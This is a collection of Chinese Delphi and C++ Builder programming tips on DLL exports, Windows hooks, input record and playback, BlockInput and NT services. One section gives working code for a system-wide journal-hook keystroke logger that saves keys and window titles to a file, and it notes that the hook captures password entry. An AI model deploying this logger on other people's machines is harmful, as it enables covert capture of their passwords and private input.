．如声名中无__stdcall，默认调用格式仍为stdcall，但不要求名称分裂，用以下批处理文件MkLib.bat可生成Lib文件：

@echo off

if %1.==. goto error

impdef %1.def %1.dll

lib /def:%1.def

goto end

:error

echo Usage: MkLib DllName

echo Note: Don't add extension ".dll" to parameter "DllName"

:end


显示DLL可导出函数

// 为了测试，你需要在Form上放置一个TButton、TOpenDialog和TListView构件

// 完整的DLLTools单元的代码在示例代码之后

uses DLLTools;

function TForm1.ListExport( const name: String; ordinal: Integer; address:Pointer ): Boolean;

var

listentry: TLIstItem;

begin

Result := true;

listentry:= listview.Items.Add;

listentry.Caption := Format('%p',[address] );

listentry.Subitems.Add( format('%d',[ordinal] ));

listentry.Subitems.Add( name );

end;

procedure TForm1.Button1Click(Sender: TObject);

begin

if opendialog.execute then

begin

listview.items.clear;

ListDLLExports( opendialog.filename, listexport );

end;

end;

*****

DLLTOOLS 单元

*****

unit dlltools;

interface

Uses Windows, Classes, Sysutils, imagehlp ;

type

TDLLExportCallback = function (const name: String; ordinal: Integer;

address: Pointer): Boolean of Object;

{ Note: address is a RVA here, not a usable virtual address! }

DLLToolsError = Class( Exception );

Procedure ListDLLExports( const filename: String; callback:

TDLLExportCallback );

Procedure DumpExportDirectory( Const ExportDirectory: TImageExportDirectory;

lines: TStrings; const Image: LoadedImage );

Function RVAToPchar( rva: DWORD; const Image: LoadedImage ): PChar;

Function RVAToPointer( rva: DWORD; const Image: LoadedImage ): Pointer;

implementation

resourcestring

eDLLNotFound =

'ListDLLExports: DLL %s does not exist!';

{+----------------------------------------------------------------------

| Procedure EnumExports

|

| Parameters :

| ExportDirectory: IMAGE_EXPORT_DIRECTORY record to enumerate

| image : LOADED_IMAGE record for the DLL the export directory belongs

| to.

| callback : callback function to hand the found exports to, must not be

Nil

| Description:

| The export directory of a PE image contains three RVAs that point at

tables

| which describe the exported functions. The first is an array of RVAs

that

| refer to the exported function names, these we translate to PChars to

| get the exported name. The second array is an array of Word that

contains

| the export ordinal for the matching entry in the names array. The

ordinal

| is biased, that is we have to add the ExportDirectory.Base value to it

to

| get the actual export ordinal. The biased ordinal serves as index for

the

| third array, which is an array of RVAs that give the position of the

| function code in the image. We don't translate these RVAs since the DLL

| is not relocated since we load it via MapAndLoad. The function array is

| usually much larger than the names array, since the ordinals for the

| exported functions do not have to be in sequence, there can be (and

| frequently are) gaps in the sequence, for which the matching entries in

the

| function RVA array are garbage.

| Error Conditions: none

| Created: 9.1.2000 by P. Below

+----------------------------------------------------------------------}

Procedure EnumExports( const ExportDirectory : TImageExportDirectory ;

const image : LoadedImage ;

callback : TDLLExportCallback ) ;

Type

TDWordArray = Array [0..$FFFFF] of DWORD;

Var

i: Cardinal;

pNameRVAs, pFunctionRVas: ^TDWordArray;

pOrdinals: ^TWordArray;

name: String;

address: Pointer;

ordinal: Word;

Begin { EnumExports }

pNameRVAs :=

RVAToPointer( DWORD(ExportDirectory.AddressOfNames), image );

pFunctionRVAs :=

RVAToPointer( DWORD(ExportDirectory.AddressOfFunctions), image );

pOrdinals :=

RVAToPointer( DWORD(ExportDirectory.AddressOfNameOrdinals), image );

For i:= 0 to Pred( ExportDirectory.NumberOfNames ) Do Begin

name := RVAToPChar( pNameRVAs^[i], image );

ordinal := pOrdinals^[i];

address := Pointer( pFunctionRVAs^[ ordinal ] );

If not callback( name, ordinal+ExportDirectory.Base, address ) Then

Exit;

End; { For }

End; { EnumExports }

{+----------------------------------------------------------------------

| Procedure ListDLLExports

|

| Parameters :

| filename : full pathname of DLL to examine

| callback : callback to hand the found exports to, must not be Nil

| Description:

| Loads the passed DLL using the LoadImage function, finds the exported

| names table and reads it. Each found entry is handed to the callback

| for further processing, until no more entries remain or the callback

| returns false. Note that the address passed to the callback for a

exported

| function is an RVA, so not identical to the address the function would

| have in a properly loaded and relocated DLL!

| Error Conditions:

| Exceptions are raised if

| - the passed DLL does not exist or could not be loaded

| - no callback was passed (only if assertions are on)

| - an API function failed

| Created: 9.1.2000 by P. Below

+----------------------------------------------------------------------}

Procedure ListDLLExports( const filename : String ; callback :

TDLLExportCallback ) ;

Var

imageinfo: LoadedImage;

pExportDirectory: PImageExportDirectory;

dirsize: Cardinal;

Begin { ListDLLExports }

Assert( Assigned( callback ));

If not FileExists( filename ) Then

raise DLLToolsError.CreateFmt( eDLLnotFound, [filename] );

If MapAndLoad( PChar( filename ), nil, @imageinfo, true, true ) Then

try

pExportDirectory :=

ImageDirectoryEntryToData(

imageinfo.MappedAddress, false,

IMAGE_DIRECTORY_ENTRY_EXPORT, dirsize );

If pExportDirectory = Nil Then

RaiseLastWin32Error

Else

EnumExports( pExportDirectory^, imageinfo, callback );

finally

UnMapAndLoad( @imageinfo );

end

Else

RaiseLastWin32Error;

End; { ListDLLExports }

{+----------------------------------------------------------------------

| Procedure DumpExportDirectory

|

| Parameters :

| ExportDirectory: a IMAGE_EXPORT_DIRECTORY record

| lines : a TStrings descendend to put the info into, must not be Nil

| Description:

| Dumps the fields of the passed structure to the passed strings

descendent

| as strings.

| Error Conditions:

| will raise an exception if lines is Nil and assertions are enabled.

| Created: 9.1.2000 by P. Below

+----------------------------------------------------------------------}

Procedure DumpExportDirectory( Const ExportDirectory : TImageExportDirectory;

lines : TStrings; const Image: LoadedImage ) ;

Begin { DumpExportDirectory }

Assert( Assigned( lines ));

lines.add( 'Dump of IMAGE_EXPORT_DIRECTORY' );

lines.add( format('Characteristics: %d',

[ExportDirectory.Characteristics]));

lines.add( format('TimeDateStamp: %d',

[ExportDirectory.TimeDateStamp]));

lines.add( format('Version: %d.%d',

[ExportDirectory.MajorVersion,

ExportDirectory.MinorVersion]));

lines.add( format('Name (RVA): %x',

[ExportDirectory.Name]));

lines.add( format('Name (translated): %s',

[RVAToPchar( ExportDirectory.name, Image )]));

lines.add( format('Base: %d',

[ExportDirectory.Base]));

lines.add( format('NumberOfFunctions: %d',

[ExportDirectory.NumberOfFunctions]));

lines.add( format('NumberOfNames: %d',

[ExportDirectory.NumberOfNames]));

lines.add( format('AddressOfFunctions (RVA): %p',

[Pointer(ExportDirectory.AddressOfFunctions)]));

lines.add( format('AddressOfNames (RVA): %p',

[Pointer(ExportDirectory.AddressOfNames)]));

lines.add( format('AddressOfNameOrdinals (RVA): %p',

[Pointer(ExportDirectory.AddressOfNameOrdinals)]));

End; { DumpExportDirectory }

{+----------------------------------------------------------------------

| Function RVAToPointer

|

| Parameters :

| rva : a relative virtual address to translate

| Image : LOADED_IMAGE structure for the image the RVA relates to

| Returns : translated address

| Description:

| Uses the ImageRVAToVA function to translate the RVA to a virtual

| address.

| Error Conditions:

| Will raise an exception if the translation failed

| Created: 9.1.2000 by P. Below

+----------------------------------------------------------------------}

Function RVAToPointer( rva : DWORD ; const Image : LoadedImage ) : Pointer;

var

pDummy: PImageSectionHeader;

Begin { RVAToPchar }

pDummy := nil;

Result :=

ImageRvaToVa( Image.FileHeader, Image.MappedAddress, rva,

pDummy );

If Result = Nil Then

RaiseLastWin32Error;

End; { RVAToPointer }

{+----------------------------------------------------------------------

| Function RVAToPchar

|

| Parameters :

| rva : a relative virtual address to translate

| Image : LOADED_IMAGE structure for the image the RVA relates to

| Returns : translated address

| Description:

| Uses the RVAToPointer function to translate the RVA to a virtual

| address. Note that we do not check that the address does indeed point

| to a zero-terminated string!

| Error Conditions:

| Will raise an exception if the translation failed

| Created: 9.1.2000 by P. Below

+----------------------------------------------------------------------}

Function RVAToPchar( rva : DWORD ; const Image : LoadedImage ) : PChar ;

Begin { RVAToPchar }

Result := RVAToPointer( rva, image );

End; { RVAToPchar }

end.

-----------------------------------------

取得某一dll所有输出函数名

取得某一dll所有输出函数名
在uses里加上ImageHlp

procedure ListDLLFunctions(DLLName: String; List: TStrings);
type
chararr = array [0..$FFFFFF] of Char;
var
H: THandle;
I,
fc: integer;
st: string;
arr: Pointer;
ImageDebugInformation: PImageDebugInformation;
begin
List.Clear;
DLLName := ExpandFileName(DLLName);
if FileExists(DLLName) then
begin
H := CreateFile(PChar(DLLName), GENERIC_READ, FILE_SHARE_READ or
FILE_SHARE_WRITE, nil, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
if H<>INVALID_HANDLE_VALUE then
try
ImageDebugInformation := MapDebugInformation(H, PChar(DLLName), nil, 0);
if ImageDebugInformation<>nil then
try
arr := ImageDebugInformation^.ExportedNames;
fc := 0;
for I := 0 to ImageDebugInformation^.ExportedNamesSize - 1 do
if chararr(arr^)[I]=#0 then
begin
st := PChar(@chararr(arr^)[fc]);
if Length(st)>0 then
List.Add(st);
if (I>0) and (chararr(arr^)[I-1]=#0) then
Break;
fc := I + 1
end
finally
UnmapDebugInformation(ImageDebugInformation)
end
finally
CloseHandle(H)
end
end
end;

procedure TForm1.Button1Click(Sender: TObject);
var
List:
TStrings;
I: integer;
S: String;

begin
List := TStringList.Create;

  ListDLLFunctions('c:\windows\system\Abcsda.dll', List);
showmessage(inttostr(list.count));
S := 'List of functions';
for I := 0 to List.Count - 1 do
S := S + #13#10 +
List[I];
ShowMessage(S);

List.Free
end;

//rock
//转载请保留此信息


日志钩子的使用

日志钩子（JournalRecord Hook）的使用

---- 钩子是WINDOWS中消息处理机制的一个要点，通过安装各种钩子，应用程序能够设置相应的子例程来监视系统里的消息传递以及在这些消息到达目标窗口程序之前处理它们。钩子的种类很多，每种钩子可以截获并处理相应的消息，如键盘钩子可以截获键盘消息，鼠标钩子可以截获鼠标消息，外壳钩子可以截获启动和关闭应用程序的消息，日志钩子可以监视和记录输入事件。钩子分为线程专用钩子和全局钩子，线程专用钩子只监视指定的线程，要监视系统中的所有线程，必须用到全局钩子。对于全局钩子，钩子函数必须包含在独立的动态链接库(DLL)中，这样才能被各种相关联的应用程序调用。在WINDOWS中，日志钩子是个很特别的钩子，它只有全局钩子一种，是键盘鼠标等输入设备的消息在系统消息队列被取出时发生的，而且系统中只能存在一个这样的日志钩子，更重要是，它不必用在动态链接库中，这样可以省却了为安装一个全局钩子而建立一个动态链接库的麻烦。利用日志钩子，我们可以监视各种输入事件，下面的示例可以用来记录键盘的输入，当有按键发生时，自动记录按键动作的日期和时间以及当前激活的窗口名称。本示例在中文WIN98，Borland C++ Builder4中编译通过。

---- 1．新建一个工程，在窗体Form1中放置两个按钮Button1和Button2, CAPTION分别为“安装日志钩子”和“卸载日志钩子”。

---- 2． 定义如下全局变量：

HHOOK g_hLogHook=NULL;     //钩子变量
HWND g_hLastFocus=NULL;
//记录上一次得到焦点的窗口句柄
const int KeyPressMask=0x80000000;  //键盘掩码常量
char g_PrvChar;      //保存上一次按键值

3．在Button1的OnClick事件中输入：

void __fastcall TForm1::Button1Click(TObject *Sender)
 {
  if  (g_hLogHook==NULL)
   g_hLogHook = SetWindowsHookEx
(WH_JOURNALRECORD,
        (HOOKPROC)JournalLogProc,
HInstance,0);  //安装日志钩子
 }

4．在Button2的OnClick事件中输入：

void __fastcall TForm1::Button2Click(TObject *Sender)
{
 if (g_hLogHook!=NULL)
  {UnhookWindowsHookEx(g_hLogHook);
   g_hLogHook=NULL;
  }  //卸载日志钩子
}

5．输入钩子回调函数：
HOOKPROC JournalLogProc(int iCode,
WPARAM wParam, LPARAM lParam)
{
 if (iCode< 0) return (HOOKPROC)CallNextHookEx
(g_hLogHook,iCode,wParam,lParam);
 if (iCode==HC_ACTION)
  {EVENTMSG *pEvt=(EVENTMSG *)lParam;
   int i;
   HWND hFocus;      //保存当前活动窗口句柄
   char szTitle[256];     //当前窗口名称
   char szTime[128];    //保存当前的日期和时间
   FILE *stream=fopen(“c:\\logfile.txt”,"a+t");
   if (pEvt->message==WM_KEYDOWN)
    {int vKey=LOBYTE(pEvt- >paramL);    // 取得虚拟键值
     char ch;
     char str[10];
     hFocus=GetActiveWindow();
  //取得当前活动窗口句柄
     if(g_hLastFocus!=hFocus)
  //当前活动窗口是否改变
      {GetWindowText(hFocus,szTitle,256);
       g_hLastFocus=hFocus;
       strcpy(szTime,DateTimeToStr(Now())
.c_str());  //得到当前的日期时间
       fprintf(stream,"%c%s%c%c%s",
10,szTime,32,32,szTitle);  //写入文件
       fprintf(stream,"%c%c",32,32);
      }
     int iShift=GetKeyState(0x10);
//测试SHIFT,CAPTION,NUMLOCK等键是否按下
     int iCapital=GetKeyState(0x14);
     int iNumLock=GetKeyState(0x90);
     bool bShift=(iShift & KeyPressMask)==KeyPressMask;
     bool bCapital=(iCapital & 1)==1;
     bool bNumLock=(iNumLock & 1)==1;
     if (vKey >=48 && vKey< =57)
 // 数字0-9
       if (!bShift) fprintf(stream,"%c",vKey);
     if (vKey >=65 && vKey< =90)
// A-Z       a-z
      {if (!bCapital)
         if (bShift) ch=vKey; else ch=vKey+32;
       else
         if (bShift) ch=vKey+32; else ch=vKey;
       fprintf(stream,"%c",ch);
      }
     if (vKey >=96 && vKey< =105)         // 小键盘0-9
       if (bNumLock) fprintf(stream,"%c",vKey-96+48);
     if (vKey>=186 && vKey<=222)         // 其他键
      {switch (vKey)
        {case 186:if (!bShift) ch=';'; else ch=':';break;
         case 187:if (!bShift) ch='='; else ch='+';break;
         case 188:if (!bShift) ch=','; else ch='<' ;break;
         case 189:if (!bShift) ch='-'; else ch='_';break;
         case 190:if (!bShift) ch='.'; else ch=' >';break;
         case 191:if (!bShift) ch='/'; else ch='?';break;
         case 192:if (!bShift) ch='`'; else ch='~';break;
         case 219:if (!bShift) ch='['; else ch='{';break;
         case 220:if (!bShift) ch='\\'; else ch='|';break;
         case 221:if (!bShift) ch=']'; else ch='}';break;
         case 222:if (!bShift) ch='\''; else ch='\"';break;
         default:ch='n';break;
        }
       if (ch!='n') fprintf(stream,"%c",ch);
      }
//     if (wParam >=112 && wParam<=123)
 // 功能键   [F1]-[F12]
     if (vKey >=8 && vKey< =46)   //方向键
      {switch (vKey)
        {case 8:strcpy(str,"[BK]");break;
         case 9:strcpy(str,"[TAB]");break;
         case 13:strcpy(str,"[EN]");break;
         case 32:strcpy(str,"[SP]");break;
         case 33:strcpy(str,"[PU]");break;
         case 34:strcpy(str,"[PD]");break;
         case 35:strcpy(str,"[END]");break;
         case 36:strcpy(str,"[HOME]");break;
         case 37:strcpy(str,"[LF]");break;
         case 38:strcpy(str,"[UF]");break;
         case 39:strcpy(str,"[RF]");break;
         case 40:strcpy(str,"[DF]");break;
         case 45:strcpy(str,"[INS]");break;
         case 46:strcpy(str,"[DEL]");break;
         default:ch='n';break;
        }
       if (ch!='n')
        {if (g_PrvChar!=vKey)
          {fprintf(stream,"%s",str);
           g_PrvChar=vKey;
          }
        }
      }
}
      if
(pEvt- >message==WM_LBUTTONDOWN || pEvt- >message
==WM_RBUTTONDOWN)
      {hFocus=GetActiveWindow();
       if (g_hLastFocus!=hFocus)
        {g_hLastFocus=hFocus;
         GetWindowText(hFocus,szTitle,256);
     strcpy(szTime,DateTimeToStr(Now()).c_str());
//得到当前的日期时间
     fprintf(stream,"%c%s%c%c%s",
10,szTime,32,32,szTitle);  //写入文件
     fprintf(stream,"%c%c",32,32);
        }
      }
 fclose(stream);
 return (HOOKPROC)CallNextHookEx
(g_hLogHook,iCode,wParam,lParam);
}

---- 将工程编译执行后，每当激活一个窗口时，就会把当前窗口名称写入文件c:\logfile.txt中，当有按键时，按键的名称也会写入此文件中，这里的并没有处理全部的按键，读者可根据需要添加相应的语句。要捕捉键盘的按键动作，用键盘钩子(Keyboard Hook)也同样可以实现，但是用日志钩子却比键盘钩子要方便许多。首先，如果要捕捉其他应用程序的按键，即做成全局钩子，键盘钩子一定要单独放在动态链接库中，而日志钩子却不必；其次，在键盘钩子函数得到的键盘按键之前，系统已经处理过这些输入了，如果系统把这些按键屏蔽掉，键盘钩子就无法检测到它们，例如，当输入屏幕保护程序密码时，键盘钩子无法检测到用户输入了那些字符，而日志钩子却可以检测到。


对特定程序安装钩子

 procedure SetMessageTrappingHook; stdcall;
var
TheHandle : HWND;
TheThread : DWORD;
begin
TheHandle := FindWindow('Whatever',NIL);
if TheHandle <> 0 then begin
TheThread := GetWindowThreadProcessId(TheHandle,NIL);
HookProcHandle := SetWindowsHookEx(WH_CALLWNDPROC,@CallWndProc,
HInstance,TheThread);
if HookProcHandle <> 0 then
NewMessages:=0;
else
ShowMessage('Setting Hook Failed.');
end else
showmessage('Icon Author is not currently running.');
end;


建立键盘鼠标动作纪录与回放

作者 : TechnoFantasy
通过Delphi建立键盘鼠标动作纪录与回放

www.applevb.com

很多的教学软件或系统监视软件可以自动记录回放用户的输入文字或点击按钮等操作操作，这个功能的实现是使用
了Windows的Hook函数。

Windows提供API函数SetwindowsHookEx来建立一个Hook，通过这个函数可以将一个程序添加到Hook链中监视Windows
消息，函数语法为：
SetWindowsHookEx(idHook: Integer; lpfn: TFNHookProc; hmod: HINST; dwThreadId: DWORD)
其中参数idHook指定建立的监视函数类型。通过Windows MSDN帮助可以看到，SetwindowsHookEx函数提供15种不同
的消息监视类型，在这里我们将使用WH_JOURNALRECORD和WH_JOURNALPLAYBACK来监视键盘和鼠标操作。参数lpfn指定消
息函数，在相应的消息产生后，系统会调用该函数并将消息值传递给该函数供处理。函数的一般形式为：
Hookproc (code: Integer; wparam: WPARAM; lparam: LPARAM): LRESULT stdcall;
其中code为系统指示标记，wParam和lParam为附加参数，根据不同的消息监视类型而不同。只要在程序中建立这样
一个函数再通过SetwindowsHookEx函数将它加入到消息监视链中就可以处理消息了。
在不需要监视系统消息时需要调用提供UnHookWindowsHookEx来解除对消息的监视。
WH_JOURNALRECORD和WH_JOURNALPLAYBACK类型是两种相反的Hook类型，前者获得鼠标、键盘动作消息，后者回放鼠
标键盘消息。所以在程序中我们需要建立两个消息函数，一个用于纪录鼠标键盘操作并保存到一个数组中，另一个用于
将保存的操作返给系统回放。

下面来建立程序，在Delphi中建立一个工程，在Form1上添加3个按钮用于程序操作。另外再添加一个按钮控件和一
个Edit控件用于验证操作。

下面是Form1的全部代码

unit Unit1;

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls;

type

TForm1 = class(TForm)
Button1: TButton;

Button2: TButton;
Button3: TButton;

Edit1: TEdit;
Button4: TButton;

procedure FormCreate(Sender: TObject);
procedure Button1Click(Sender: TObject);
procedure Button2Click(Sender: TObject);
procedure Button3Click(Sender: TObject);
private

{ Private declarations }
public

{ Public declarations }
end;

var

Form1: TForm1;

EventArr:array[0..1000]of EVENTMSG;
EventLog:Integer;

PlayLog:Integer;
hHook,hPlay:Integer;
recOK:Integer;

canPlay:Integer;
bDelay:Bool;

implementation

{$R *.DFM}

Function PlayProc(iCode:Integer;wParam:wParam;lParam:lParam):LRESULT;stdcall;
begin

canPlay:=1;
Result:=0;

if iCode < 0 then //必须将消息传递到消息链的下一个接受单元
Result := CallNextHookEx(hPlay,iCode,wParam,lParam)
else if iCode = HC_SYSMODALON then
canPlay:=0

else if iCode = HC_SYSMODALOFF then
canPlay:=1

else if ((canPlay =1 )and(iCode=HC_GETNEXT)) then begin
if bDelay then begin
bDelay:=False;

Result:=50;
end;

pEventMSG(lParam)^:=EventArr[PlayLog];
end

else if ((canPlay = 1)and(iCode = HC_SKIP))then begin
bDelay := True;

PlayLog:=PlayLog+1;
end;

if PlayLog>=EventLog then begin
UNHookWindowsHookEx(hPlay);
end;

end;

function HookProc(iCode:Integer;wParam:wParam;lParam:lParam):LRESULT;stdcall;
begin

recOK:=1;
Result:=0;

if iCode < 0 then
Result := CallNextHookEx(hHook,iCode,wParam,lParam)
else if iCode = HC_SYSMODALON then
recOK:=0

else if iCode = HC_SYSMODALOFF then
recOK:=1

else if ((recOK>0) and (iCode = HC_ACTION)) then begin
EventArr[EventLog]:=pEventMSG(lParam)^;
EventLog:=EventLog+1;

if EventLog>=1000 then begin
UnHookWindowsHookEx(hHook);
end;

end;
end;

procedure TForm1.FormCreate(Sender: TObject);
begin

Button1.Caption:='纪录';
Button2.Caption:='停止';
Button3.Caption:='回放';
Button4.Caption:='范例';
Button2.Enabled:=False;
Button3.Enabled:=False;
end;

procedure TForm1.Button1Click(Sender: TObject);
begin

EventLog:=0;
//建立键盘鼠标操作消息纪录链
hHook:=SetwindowsHookEx(WH_JOURNALRECORD,HookProc,HInstance,0);
Button2.Enabled:=True;
Button1.Enabled:=False;
end;

procedure TForm1.Button2Click(Sender: TObject);
begin

UnHookWindowsHookEx(hHook);
hHook:=0;

Button1.Enabled:=True;
Button2.Enabled:=False;
Button3.Enabled:=True;
end;

procedure TForm1.Button3Click(Sender: TObject);
begin

PlayLog:=0;
//建立键盘鼠标操作消息纪录回放链
hPlay:=SetwindowsHookEx(WH_JOURNALPLAYBACK,PlayProc,
HInstance,0);

Button3.Enabled:=False;
end;

end.

代码添加完毕后，运行程序，点击“纪录”按钮开始纪录操作，这时你可以在文本控件中输入一些文字或者点击
“范例”按钮，然后点击“停止”按钮停止纪录，再点击“回放”按钮就可以讲先前所做的操作回放。
在上面的程序中，HookProc是纪录操作的消息函数，每当有鼠标键盘消息发生时，系统都会调用该函数，消息信
息就保存在地址lParam中，我们可以讲消息保存在一个数组中。PlayProc是消息回放函数，当系统可以执行消息回放
时调用该函数，程序就将先前纪录的消息值返回到lParam指向的区域中，系统就会执行该消息，从而实现了消息回放。


添加其他语言

   下面例子将添加Turkmen语言到系统中，注意必须要有对应的键盘定义文件，比如Turkmen.kbd.

procedure TTMKBD.OkClick(Sender: TObject);
var reg:TRegistry;
srs,dst:string;
begin
Reg := TRegistry.Create;
with Reg do
try
RootKey :=HKEY_LOCAL_MACHINE;
OpenKey('\System\CurrentControlSet\Control\keyboard
   layouts\00000405', True);
WriteString('layout file','Turkmen.kbd');
WriteString('layout text','Turkmen');
OpenKey('\System\CurrentControlSet\Control\Nls\Locale', True);
WriteString('00000405','Turkmen');
CloseKey;
finally
Free;
end;
srs:='Turkmen.kbd';
dst:='c:\windows\system\Turkmen.kbd';
Filecopy(srs,dst);
showmessage('Well Done it all');
close;
end;


阻塞键盘鼠标输入

// Import BlockInput function form user32.dll:

// BlockInput Funktion von user32.dll importieren:

function BlockInput (fBlockInput : boolean) : DWord; stdcall; external 'user32.DLL';

{block input/ blockieren}

procedure TForm1.Button1Click(Sender: TObject);
begin
BlockInput(true);
end;

{unblock input / Blockierung aufheben}

procedure TForm1.Button2Click(Sender: TObject);
begin
BlockInput(false);
end;

Note: Requires Windows 98/2000 or later.

You can unblock input by pressing

CTRL+ALT+DEL


对NT服务的控制

 以下我写的一个控制Service的对象，可以方便实现对Service

unit ServiceControl;
interface
uses
Windows, SysUtils, WinSvc, SvcMgr;
type
TServiceControl = class(TObject)
private
FMachine, FService: string;
function GetNTStatus: DWord;
function GetStatus: TCurrentStatus;
protected
public
function Start: Boolean;
function Stop: Boolean;
function Pause: Boolean;
function Continue: Boolean;
constructor Create(Service: string; Machine: string = '');
property NTStatus: DWord read GetNTStatus;
property Status: TCurrentStatus read GetStatus;
property Service: string read FService write FService;
property Machine: string read FMachine write FMachine;
published
end; { TServiceControl }
function StatusToNT(Status: TCurrentStatus): DWord;
function StatusFromNt(Status: DWord): TCurrentStatus;
implementation
function StatusToNT(Status: TCurrentStatus): DWord;
const
NTServiceStatus: array[TCurrentStatus] of DWord = (SERVICE_STOPPED,
SERVICE_START_PENDING, SERVICE_STOP_PENDING, SERVICE_RUNNING,
SERVICE_CONTINUE_PENDING, SERVICE_PAUSE_PENDING, SERVICE_PAUSED);
begin
Result := NTServiceStatus[Status];
end;
function StatusFromNt(Status: DWord): TCurrentStatus;
const
CurrentStatus: array[1..7] of TCurrentStatus = (csStopped, csStartPending,

csStopPending, csRunning, csContinuePending, csPausePending, csPaused);
begin
Result := CurrentStatus[Status];
end;
{ TServiceControl }
constructor TServiceControl.Create(Service: string; Machine: string = '');
begin
FService := Service;
FMachine := Machine;
end;
function TServiceControl.GetStatus: TCurrentStatus;
begin
Result := StatusFromNT(GetNTStatus);
end;
function TServiceControl.GetNTStatus: DWord;
var
SvcMgr, Svc: SC_HANDLE;
SvcStatus: TServiceStatus;
begin
Result := 0;
SvcMgr := OpenSCManager(PChar(FMachine), nil, SC_MANAGER_CONNECT);
if SvcMgr = 0 then RaiseLastWin32Error;
try
Svc := OpenService(SvcMgr, PChar(FService), SERVICE_QUERY_STATUS);
if Svc = 0 then RaiseLastWin32Error;
try
if QueryServiceStatus(Svc, SvcStatus) then
Result := SvcStatus.dwCurrentState
else
RaiseLastWin32Error;
finally
CloseServiceHandle(Svc);
end;
finally
CloseServiceHandle(SvcMgr);
end;
end;
function TServiceControl.Start: Boolean;
var
psTemp: PChar;
CheckPoint: DWord;
SvcMgr, Svc: SC_HANDLE;
SvcStatus: TServiceStatus;
begin
SvcMgr := OpenSCManager(PChar(FMachine), nil, SC_MANAGER_CONNECT);
if SvcMgr = 0 then RaiseLastWin32Error;
try
Svc := OpenService(SvcMgr, PChar(FService), SERVICE_START or SERVICE_QUE
RY_STATUS);
if Svc = 0 then RaiseLastWin32Error;
try
psTemp := nil;
if StartService(Svc, 0, psTemp) then
begin
if not QueryServiceStatus(Svc, SvcStatus) then
RaiseLastWin32Error
else
with SvcStatus do
begin
while (SERVICE_RUNNING <> dwCurrentState) do
begin
CheckPoint := dwCheckPoint;
Sleep(dwWaitHint);
if not QueryServiceStatus(Svc, SvcStatus) then
Break;
if dwCheckPoint < CheckPoint then
Break;
end;
end;
end;
finally
CloseServiceHandle(Svc);
end;
finally
CloseServiceHandle(SvcMgr);
end;
Result := SERVICE_RUNNING = SvcStatus.dwCurrentState;
end;
function TServiceControl.Stop: Boolean;
var
CheckPoint: DWord;
SvcMgr, Svc: SC_HANDLE;
SvcStatus: TServiceStatus;
begin
SvcMgr := OpenSCManager(PChar(FMachine), nil, SC_MANAGER_CONNECT);
if SvcMgr = 0 then RaiseLastWin32Error;
try
Svc := OpenService(SvcMgr, PChar(FService), SERVICE_STOP or SERVICE_QUER
Y_STATUS);
if Svc = 0 then RaiseLastWin32Error;
try
if ControlService(Svc, SERVICE_CONTROL_STOP, SvcStatus) then
begin
if not QueryServiceStatus(Svc, SvcStatus) then
RaiseLastWin32Error
else
with SvcStatus do
begin
while (SERVICE_STOPPED <> dwCurrentState) do
begin
CheckPoint := dwCheckPoint;
Sleep(dwWaitHint);
if not QueryServiceStatus(Svc, SvcStatus) then
Break;
if dwCheckPoint < CheckPoint then
Break;
end;
end;
end;
finally
CloseServiceHandle(Svc);
end;
finally
CloseServiceHandle(SvcMgr);
end;
Result := SERVICE_STOPPED = SvcStatus.dwCurrentState;
end;
function TServiceControl.Continue: Boolean;
var
CheckPoint: DWord;
SvcMgr, Svc: SC_HANDLE;
SvcStatus: TServiceStatus;
begin
SvcMgr := OpenSCManager(PChar(FMachine), nil, SC_MANAGER_CONNECT);
if SvcMgr = 0 then RaiseLastWin32Error;
try
Svc := OpenService(SvcMgr, PChar(FService), SERVICE_PAUSE_CONTINUE or SE
RVICE_QUERY_STATUS);
if Svc = 0 then RaiseLastWin32Error;
try
if ControlService(Svc, SERVICE_CONTROL_CONTINUE, SvcStatus) then
begin
if not QueryServiceStatus(Svc, SvcStatus) then
RaiseLastWin32Error
else
with SvcStatus do
begin
while (SERVICE_RUNNING <> dwCurrentState) do
begin
CheckPoint := dwCheckPoint;
Sleep(dwWaitHint);
if not QueryServiceStatus(Svc, SvcStatus) then
Break;
if dwCheckPoint < CheckPoint then
Break;
end;
end;
end;
finally
CloseServiceHandle(Svc);
end;
finally
CloseServiceHandle(SvcMgr);
end;
Result := SERVICE_RUNNING = SvcStatus.dwCurrentState;
end;
function TServiceControl.Pause: Boolean;
var
CheckPoint: DWord;
SvcMgr, Svc: SC_HANDLE;
SvcStatus: TServiceStatus;
begin
SvcMgr := OpenSCManager(PChar(FMachine), nil, SC_MANAGER_CONNECT);
if SvcMgr = 0 then RaiseLastWin32Error;
try
Svc := OpenService(SvcMgr, PChar(FService), SERVICE_PAUSE_CONTINUE or SE
RVICE_QUERY_STATUS);
if Svc = 0 then RaiseLastWin32Error;
try
if ControlService(Svc, SERVICE_CONTROL_PAUSE, SvcStatus) then
begin
if not QueryServiceStatus(Svc, SvcStatus) then
RaiseLastWin32Error
else
with SvcStatus do
begin
while (SERVICE_PAUSED <> dwCurrentState) do
begin
CheckPoint := dwCheckPoint;
Sleep(dwWaitHint);
if not QueryServiceStatus(Svc, SvcStatus) then
Break;
if dwCheckPoint < CheckPoint then
Break;
end;
end;
end;
finally
CloseServiceHandle(Svc);
end;
finally
CloseServiceHandle(SvcMgr);
end;
Result := SERVICE_PAUSED = SvcStatus.dwCurrentState;
end;
end.


编写Windows NT中服务程序

   作者：曾祥军
Windows NT服务程序不同于一般的运行程序，它不需要NT登录进去，只需要开机进入NT系统便可以运行，一般用于系统服务方面的应用，学会编写NT服务程序对网络管理人员而言是非常重要的，Delphi作为一种高效、快速、强大的开发语言，为开发NT服务程序提供了非常便捷的方法，加上其可视化界面以及与数据库的完美结合，使我们开发与数据库有关的NT服务程序变得非常简单，下面以编写一个NT定期备份程序为例，介绍如何运用Delphi编写Windows
    NT的服务程序。
打开Delphi编辑器，选择菜单中的File|New，在New Item中选择Service Application项，Delphi便自动为你建立一个基于TServiceApplication的新工程，TServiceApplication是一个封装NT服务程序的类，它包含一个TService1对象以及服务程序的装卸、注册、取消方法。
将TService1对象的属性做下列更改：
DisplayName与Name改为：DataBackup，ServiceStartName属性改为系统管理员用户(如DOMAIN\Administrator)和Password则输入用户密码
这样，服务程序运行时将自己以该用户的权限操作NT。
